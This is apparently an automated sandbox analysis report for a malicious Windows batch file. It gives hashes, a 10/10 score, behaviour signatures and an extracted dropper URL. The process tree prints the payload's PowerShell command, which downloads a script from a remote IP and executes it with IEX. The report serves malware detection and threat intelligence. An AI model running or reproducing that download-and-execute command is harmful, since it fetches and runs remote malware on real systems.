Analysis

  • max time kernel
    113s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    12-07-2020 01:10

General

  • Target

    6ebe9b72866bb759c8fb8b43c6691c55.bat

  • Size

    217B

  • MD5

    9a910f1611f357e048f8f5ca83a09740

  • SHA1

    ca3e718abf686be0e827824a117c276ebab717d9

  • SHA256

    8178b2a273ccd3ec4e01c78beeabb8b306e6851906b9581eff43d3af65cb72cb

  • SHA512

    279acdb19eefff654a3828abdb8e37ac8d0a937ba8908e8465f2daefb88cfade810fc0ff18c2dd43288583a5b48a634cd4813fb087a837e2331190bd3470cb01

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/6ebe9b72866bb759c8fb8b43c6691c55

Signatures

  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Blacklisted process makes network request 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\6ebe9b72866bb759c8fb8b43c6691c55.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1516
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/6ebe9b72866bb759c8fb8b43c6691c55');Invoke-RDYJJFERDU;Start-Sleep -s 10000"
      2⤵
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      PID:1292

Network

MITRE ATT&CK Matrix

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Downloads